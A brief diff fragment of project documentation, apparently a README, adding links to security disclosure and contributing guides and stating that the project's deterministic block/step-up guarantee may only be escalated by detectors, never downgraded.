+ - **Security:** found a way past the guarantee? That's exactly what we want — see [`../SECURITY.md`](../SECURITY.md) for coordinated disclosure.
129
+ - **Contributing:** [`../CONTRIBUTING.md`](../CONTRIBUTING.md). Rule #1: the guarantee stays deterministic — detectors may only escalate, never downgrade a BLOCK/STEP_UP.